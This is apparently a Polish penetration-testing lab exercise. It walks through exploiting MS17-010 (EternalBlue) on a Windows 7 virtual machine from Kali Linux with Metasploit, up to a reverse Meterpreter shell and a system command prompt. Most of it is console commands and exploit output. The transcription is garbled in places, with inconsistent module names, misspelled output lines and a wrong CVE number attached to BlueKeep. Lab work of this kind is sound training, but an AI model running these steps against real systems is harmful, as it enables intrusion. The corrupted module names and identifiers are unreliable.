

## Zadanie 7 - Eternal Blue

## Atakujący: Kali Linux | Ofiara: Windows 7

1. Przygotuj maszynę wirtualną z podatnością MS17-010 (np. Windows 7) i umieść ją w tej samej sieci co Kali Linux.

**Atakujący:**

2. Wykryj i potwierdź podatność (np. nmapem).

```
root@kali:~# msfconsole
```

```
(*)
( ) O O ( )
( ) O O ( ) M S F
| | | | |
| | | | |
| | | | |

=[ metasploit v6.1.27-dev ]
+---=[ 2196 exploits - 1162 auxiliary - 400 post ]
+---=[ 596 payloads - 45 encoders - 10 nops ]
+---=[ 9 evasion ]

Metasploit tip: To save all commands executed since start up
to a file, use the makerc command

msf6 > search windows blue

Matching Modules
=====

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/windows/http/badblue_ext_overflow 2003-04-20 great Yes BadBlue 2.5 EXT.dll Buffer Overflow
1 exploit/windows/http/badblue_passthru 2007-12-10 great No BadBlue 2.72b Passthru Buffer Overflow
2 exploit/windows/misc/bccaa_bof 2011-04-04 good No Blue Coat Authentication and Authorization Agent (BCCAA) 5 Buffer Overflow
3 exploit/windows/proxy/bluecoat_winproxy_host 2005-01-05 great No Blue Coat WinProxy Host Header Overflow
4 exploit/windows/rdp/cve_2019_0788_bluekeep_rcce 2019-05-14 manual Yes CVE-2019-0788 BlueKeep RDP Remote Windows Kernel Use After Free
5 exploit/windows/ftp/easyftp_mkd_fixret 2010-04-04 great Yes EasyFTP Server MKD Command Stack Buffer Overflow
6 post/windows/manage/install_ssh normal No Install OpenSSH for Windows
7 post/windows/manage/install_python normal No Install Python for Windows
8 exploit/windows/local/ethon 2014-07-19 average Yes MS14-052 Microsoft Bluetooth Personal Area Networking (BtPan.sys) Privilege Escalation
9 exploit/windows/smb/ms17_010_externalblue 2017-03-14 normal Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
10 exploit/wancom/sm/ms17_vw_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
12 exploit/windows/smb/smb_doublepulsar_rcce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
13 exploit/windows/local/cve_2020_0796_smbghost 2020-03-13 good Yes SMBv3 Compression Buffer Overflow
14 exploit/windows/smb/cve_2020_0796_smbghost 2020-03-13 average Yes SMBv3 Compression Buffer Overflow
15 exploit/windows/misc/trendmicro_cmdprocessor_addtask 2011-12-07 good No TrendMicro Control Manager CmdProcessor.exe Stack Buffer Overflow
```

Interact with a module by name or index. For example info 15, use 15 or use exploit/windows/misc/trendmicro\_cmdprocessor\_addtask

### 3. Wykorzystaj podatność

```

root@kali: ~
15 exploit/windows/misc/trendmicro_cndprocessor_addtask 2011-12-07 good No TrendMicro Control Manger CndProcessor.exe Stack Buffer Overflow

Interact with a module by name or index. For example info 15, use 15 or use exploit/windows/misc/trendmicro_cndprocessor_addtask

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set host 192.168.0.234
host => 192.168.0.234
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.0.157:4444
[*] 192.168.0.234:445 - Using auxiliary/scanner/smb_ms17_010 as check
[*] 192.168.0.234:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.234:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.0.234:445 - The target is vulnerable.
[*] 192.168.0.234:445 - Connecting to target for exploitation.
[*] 192.168.0.234:445 - Connection established for exploitation.
[*] 192.168.0.234:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.0.234:445 - COSE raw buffer dump (38 bytes)
[*] 192.168.0.234:445 - 0x00000000 57 09 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61
[*] 192.168.0.234:445 - 0x00000000 74 65 20 37 36 30 31 20 53 75 62 76 69 63 65 20
[*] 192.168.0.234:445 - 0x00000000 50 63 0b 20 31 Pack 1
[*] 192.168.0.234:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.0.234:445 - Trying session 12 Groom Allocations.
[*] 192.168.0.234:445 - Sending all but last fragment of exploit packet
[*] 192.168.0.234:445 - Starting non-paged pool grooming
[*] 192.168.0.234:445 - Sending SMBv2 buffers
[*] 192.168.0.234:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.0.234:445 - Sending final SMBv2 buffers
[*] 192.168.0.234:445 - Sending last fragment of exploit packet!
[*] 192.168.0.234:445 - Receiving response from exploit packet
[*] 192.168.0.234:445 - ETHERBLUE overwrite completed successfully (0xc0000000)
[*] 192.168.0.234:445 - Sending ege to corrupted connection.
[*] 192.168.0.234:445 - Triggering free of corrupted buffer.
[*] 192.168.0.234:445 - Sending stage (200262 bytes) to 192.168.0.234
[*] 192.168.0.234:445 - *****
[*] 192.168.0.234:445 - *****
[*] 192.168.0.234:445 - *****
[*] 192.168.0.234:445 - *****
[*] Meterpreter session 1 opened (192.168.0.157:4444 -> 192.168.0.234:4192) at 2022-09-03 02:56:43 -0400

meterpreter > shell
Process 2372 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32\cmd.exe

```